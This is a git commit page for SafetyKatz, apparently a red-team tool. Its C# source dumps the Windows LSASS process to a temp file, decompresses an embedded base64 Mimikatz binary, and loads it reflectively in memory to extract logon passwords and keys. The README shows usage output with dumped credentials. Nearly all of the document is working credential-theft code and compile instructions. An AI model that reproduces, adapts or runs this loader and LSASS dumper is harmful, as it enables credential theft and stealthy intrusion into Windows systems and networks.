initial commit

This commit is contained in:
HarmJ0y committed 2018-07-24 14:05:11 -04:00
commit 6f552df2f4
6 files changed
+871

No files matched your search

Executable
+14
View File
@@ -0,0 +1,14 @@
SafetyKatz is provided under the 3-clause BSD license below.
*************************************************************
Copyright (c) 2018, Will Schroeder
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Executable
+60
View File
@@ -0,0 +1,60 @@
# SafetyKatz
----
SafetyKatz is a combination of slightly modified version of [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project and [@subtee](https://twitter.com/subtee)'s [.NET PE Loader] (https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs).
First, the [MiniDumpWriteDump](https://docs.microsoft.com/en-us/windows/desktop/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump) Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtee's PELoader is used to load a customized version of Mimikatz that runs
**sekurlsa::logonpasswords** and **sekurlsa::ekeys** on the minidump file, removing the file after execution is complete.
#### Modifications
* @subtee's PE Loader was slightly modified so some of the pointer arithmetic worked better on .NET 3.5
* @gentilkiwi's Mimikatz project was modified to strip some functionality for size reasons, and to automatically run the sekurlsa::minidump mode (deleting the minidump file after). If you don't trust my compiled version, feel free to build it yourself :)
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this port.
SafetyKatz is licensed under the BSD 3-Clause license.
## Usage
C:\Temp>SafetyKatz.exe
[*] Dumping lsass (808) to C:\WINDOWS\Temp\debug.bin
[+] Dump successful!
[*] Executing loaded Mimikatz PE
.#####. mimikatz 2.1.1 (x64) built on Jul 7 2018 03:36:26 - lil!
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## / *** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com *** /
mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump...
Authentication Id : 0 ; 28935082 (00000000:01b983aa)
Session : Interactive from 0
User Name : blahuser
Domain : WINDOWS10
Logon Server : WINDOWS10
Logon Time : 7/15/2018 1:07:55 PM
SID : S-1-5-21-1473254003-2681465353-4059813368-1002
msv :
[00000003]
Primary
* Username : blahuser
* Domain : WINDOWS10
...(snip)...
mimikatz # deleting C:\Windows\Temp\debug.bin
## Compile Instructions
We are not planning on releasing binaries for SafetyKatz, so you will have to compile yourself :)
SafetyKatz has been built against.NET 3.5 and is compatible with[Visual Studio 2015 Community Edition] (https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build.
Executable
+22
View File
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SafetyKatz", "SafetyKatz\SafetyKatz.csproj", "{8347E81B-89FC-42A9-B22C-F59A6A572DEC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+659
View File
@@ -0,0 +1,659 @@
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
using System.IO.Compression;
namespace SharpDump
{
class Program
{
// adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minidumps-in-c/
// overload supporting MiniDumpExceptionInformation == NULL
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
public static bool IsHighIntegrity()
{
// returns true if the current process is running with adminstrative privs in a high integrity context
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static void Minidump(int pid = -1)
{
IntPtr targetProcessHandle = IntPtr.Zero;
uint targetProcessId = 0;
Process targetProcess = null;
if (pid == -1)
{
Process[] processes = Process.GetProcessesByName("lsass");
targetProcess = processes[0];
}
else
{
try
{
targetProcess = Process.GetProcessById(pid);
}
catch (Exception ex)
{
Console.WriteLine(String.Format("\n[X]Exception: {0}\n", ex.Message));
return;
}
}
try
{
targetProcessId = (uint)targetProcess.Id;
targetProcessHandle = targetProcess.Handle;
}
catch (Exception ex)
{
Console.WriteLine(String.Format("\n[X] Error getting handle to {0} ({1}): {2}\n", targetProcess.ProcessName, targetProcess.Id, ex.Message));
return;
}
bool bRet = false;
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
string dumpFile = String.Format("{0}\\Temp\\debug.bin", systemRoot);
Console.WriteLine(String.Format("\n[*] Dumping {0} ({1}) to {2}", targetProcess.ProcessName, targetProcess.Id, dumpFile));
using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
{
bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
// if successful
if (bRet)
{
Console.WriteLine("[+] Dump successful!");
}
else
{
Console.WriteLine(String.Format("[X] Dump failed: {0}", bRet));
}
}
static void Main(string[] args)
{
if (!IsHighIntegrity())
{
Console.WriteLine("\n[X] Not in high integrity, unable to grab a handle to lsass!\n");
}
else
{
// initial sanity checks
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
string dumpDir = String.Format("{0}\\Temp\\", systemRoot);
if (!Directory.Exists(dumpDir))
{
Console.WriteLine(String.Format("\n[X] Dump directory \"{0}\" doesn't exist!\n", dumpDir));
return;
}
if (!(IntPtr.Size == 8))
{
Console.WriteLine("\n[X] Process is not 64-bit, this version of Mimikatz won't work yo'!\n");
return;
}
// first minidump the process
Minidump();
// compressed mimikatz.exe output from Out-CompressedDLL
string compressedString = "zL17fBNV+jg8aVJIoWUCNFC1apCoXUEsBrW1gJl2AhNIaJVbVZAqiLig1pJAFVQwLRKP47ourrq6rndZLwu6KlBWbCm9cWspt3JRi6BMKUhBhRaUeZ/nOZO0QfT7+f338tFmZs5zzpzznOd+nnPGf8dzglkQBAv8r+uCsFrg/9zC//0v3SQIvS4v6yV8mrBlwGqTb8uACbPun+soLHrovqK7H3BMv/vBBx8KOO6511EUfNBx/4MOOXe844GHZtw7JCmph9NoY+hredOC+sjEyP8V0+sTC+l3S6JOv5sTF8DvuDdGJBXR781Jd8Pvg/e8mTgffvv2/jnxYfj9Iflnul/41Br6HfdGVtJs+DXf40mcS88/SpxA77glsezcyMRv37gxaTjcH36jIjFAz/9Nv9++MTwJf2+7f/os7M/5Y87zCMKMJd2FlS+674w8axOuEHrG9QJkxAvCaxZ6NiwTsGrjqDThX7yOE4R4/CN0/gptCRz58M8sFCyOVIr8/PY+5lJ4vdYqbMYXPJcg5Gfj2xKE5eldAJoThIUi1HnJKqT+wVwWDIkXlnV94IgX3EmC4KuyCgUXgB8SuLc4AL8rk+J5h3DsllgYBzZbNOPuwN2CMGG3mdoUmuC3T3wMnBv+G8LBBHkEPgGcXAU/R6znw5UPKeSANEYYq3A9IiTht+3dN/P+GXMBP/hgUQLhXsi+AFzR3KLpcE24AxwKMnbiQnD3znkIABGXiFMa89LfwGVfAFX/v/6nqPF/ujZBqPSFZWeKL+xzOsZPnDRZCR3N8LI2RZ3jLFbYXoV1aNt1XVfCc5xpPrZVCc1wOgQfq1TYboVZtfHzzEKoTi8tF5UKJbQhY9pdU++s3LzZPR7aKVTYeoXtUVitok5w5un2Hv3jhdLywHxx1QTnHYrqcxbI4irZmY9/psj4dBL8neK8Df76nHnQL3d4gjOjDBEuw126T43/+6vxcD3BmSaHpzgd2i3Qt9Lyx50+bE2pkZ0OnCVpdQoN0L4UoBW2SbevugguQhsKoXPUNzd0TFpp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COdfun3ZCIcxKpzYvRVj+WOdsqLhERMgcIr1rJahNDaB2VzUGsjtmh25/ASoBbrLOVVFY3RZ00mFTWOFJZJ0XbKMdJUlrj0kBpDQ4raYbSKidtlDtMCU/OkFmFFx74zOtRK4VHy2xbONeNis1rbkDlJbPRqeFcH8DmyaS4bgXgRjmcm+8LT56COsouMVDwk2eAivKaN6KKuhbUNZsM8ix3sPbGZhjGZJBTuRnaC3QNQidX1sJ0DVIpN097jK5BbOVO0R7ejDwF6AgP1/Qq1k0xt2UBOp48cQ4nbw4qecMhhPkrOI9DgL7Fki87adRQWg4l9EgitLpHLHkaCl2nMh+2znuE3sKGgwDQA/cqLHewwR37LIjb3AzjdjO/lY3bL/htnnH7H347xbj9F7+dgbdWNjlVG8PNP91eCiV6ddZca9FTwImJuj1gMZhwtiXKcQHguN/4gulocKnxw79G8QuUvf0gUPbjs9Gpw64/JDMRii+l4ggP6Qhzx2wUvrkWKNW/6lo69BCUDuelyGEHvjKaLsCCgVCQOc06D8TZ5EREdvJ6rS+a+5VZ06xFRzgHxfBNjH3ILYQbVGjzyziKDyVJh1DSVrPdWs2fDTNhhyliJszghdQ3gHjnz1EzoezrmBLGS6DDNzj2R40Bz9dG2+ANDKzw/tYY Line truncated
Byte[] unpacked = new byte[628736];
using (MemoryStream inputStream = new MemoryStream(Convert.FromBase64String(compressedString)))
{
using (DeflateStream stream = new DeflateStream(inputStream, CompressionMode.Decompress))
{
stream.Read(unpacked, 0, 628736);
}
}
// start of @subtee's PE loader
PELoader pe = new PELoader(unpacked);
IntPtr codebase = IntPtr.Zero;
codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
// copy Sections
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
{
IntPtr y = NativeDeclarations.VirtualAlloc((IntPtr)((long)(codebase.ToInt64() + (int)pe.ImageSectionHeaders[i].VirtualAddress)), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
}
// perform Base Relocation
long currentbase = (long)codebase.ToInt64();
long delta;
delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
// Modify Memory Based On Relocation Table
IntPtr relocationTable = (IntPtr)((long)(codebase.ToInt64() + (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr nextEntry = relocationTable;
int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
IntPtr offset = relocationTable;
while (true)
{
NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
IntPtr x = (IntPtr)((long)(relocationTable.ToInt64() + (int)sizeofNextBlock));
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr dest = (IntPtr)((long)(codebase.ToInt64() + (int)relocationEntry.VirtualAdress));
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
{
IntPtr patchAddr;
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
UInt16 type = (UInt16)(value >> 12);
UInt16 fixup = (UInt16)(value & 0xfff);
switch (type)
{
case 0x0:
break;
case 0xA:
patchAddr = (IntPtr)((long)(dest.ToInt64() + (int)fixup));
// Add Delta To Location
long originalAddr = Marshal.ReadInt64(patchAddr);
Marshal.WriteInt64(patchAddr, originalAddr + delta);
break;
}
}
offset = (IntPtr)((long)(relocationTable.ToInt64() + (int)sizeofNextBlock));
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
relocationEntry = relocationNextEntry;
nextEntry = (IntPtr)((long)(nextEntry.ToInt64() + (int)sizeofNextBlock));
if (relocationNextEntry.SizeOfBlock == 0) break;
}
// Resolve Imports
IntPtr z = (IntPtr)((long)(codebase.ToInt64() + (int)pe.ImageSectionHeaders[1].VirtualAddress));
IntPtr oa1 = (IntPtr)((long)(codebase.ToInt64() + (int)pe.OptionalHeader64.ImportTable.VirtualAddress));
int oa2 = Marshal.ReadInt32((IntPtr)((long)(oa1.ToInt64() + (int)16)));
// Get And Display Each DLL To Load
for (int j = 0; j < 999; j++) // HardCoded Number of DLL's - ideally do this Dynamically.
{
IntPtr a1 = (IntPtr)((long)(codebase.ToInt64() + (uint)(20 * j) + (uint)pe.OptionalHeader64.ImportTable.VirtualAddress));
int entryLength = Marshal.ReadInt32((IntPtr)(((long)a1.ToInt64() + (long)16)));
IntPtr a2 = (IntPtr)((long)(codebase.ToInt64() + (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)));
int temp = Marshal.ReadInt32((IntPtr)((long)(a1.ToInt64() + (int)12)));
IntPtr dllNamePTR = (IntPtr)((long)(codebase.ToInt64() + temp));
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
if (DllName == "") { break; }
IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
for (int k = 1; k < 9999; k++)
{
IntPtr dllFuncNamePTR = (IntPtr)((long)(codebase.ToInt64() + Marshal.ReadInt32(a2)));
string DllFuncName = Marshal.PtrToStringAnsi((IntPtr)((long)(dllFuncNamePTR.ToInt64() + (int)2)));
IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
Marshal.WriteInt64(a2, (long)funcAddy);
a2 = (IntPtr)((long)(a2.ToInt64() + 8));
if (DllFuncName == "") break;
}
}
// Transfer Control To OEP
Console.WriteLine("\n[*] Executing loaded Mimikatz PE");
string[] fakeArgs = { "privilege::debug" };
args = fakeArgs;
IntPtr threadStart = (IntPtr)((long)(codebase.ToInt64() + (int)pe.OptionalHeader64.AddressOfEntryPoint));
IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
NativeDeclarations.WaitForSingleObject(hThread, 30000);
}
}
}
public class PELoader
{
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[Flags]
public enum DataSectionFlags : uint
{
Stub = 0x00000000,
}
/// The DOS header
private IMAGE_DOS_HEADER dosHeader;
/// The file header
private IMAGE_FILE_HEADER fileHeader;
/// Optional 32 bit file header
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
/// Optional 64 bit file header
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
/// Image Section headers. Number of sections is in the file header.
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
private byte[] rawbytes;
public PELoader(string filePath)
{
// Read in the DLL or EXE and get the timestamp
using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = System.IO.File.ReadAllBytes(filePath);
}
}
public PELoader(byte[] fileBytes)
{
// Read in the DLL or EXE and get the timestamp
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = fileBytes;
}
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get
{
return fileHeader;
}
}
/// Gets the optional header
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
{
get
{
return optionalHeader32;
}
}
/// Gets the optional header
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
{
get
{
return optionalHeader64;
}
}
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
{
get
{
return imageSectionHeaders;
}
}
public byte[] RawBytes
{
get
{
return rawbytes;
}
}
}//End Class
unsafe class NativeDeclarations
{
public static uint MEM_COMMIT = 0x1000;
public static uint MEM_RESERVE = 0x2000;
public static uint PAGE_EXECUTE_READWRITE = 0x40;
public static uint PAGE_READWRITE = 0x04;
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
IntPtr lpThreadId
);
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk;
public uint TimeDateStamp;
public uint ForwarderChain;
public uint Name;
public uint FirstThunk;
}
}
}
+36
View File
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SafetyKatz")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SafetyKatz")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("8347e81b-89fc-42a9-b22c-f59a6a572dec")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
+80
View File
@@ -0,0 +1,80 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
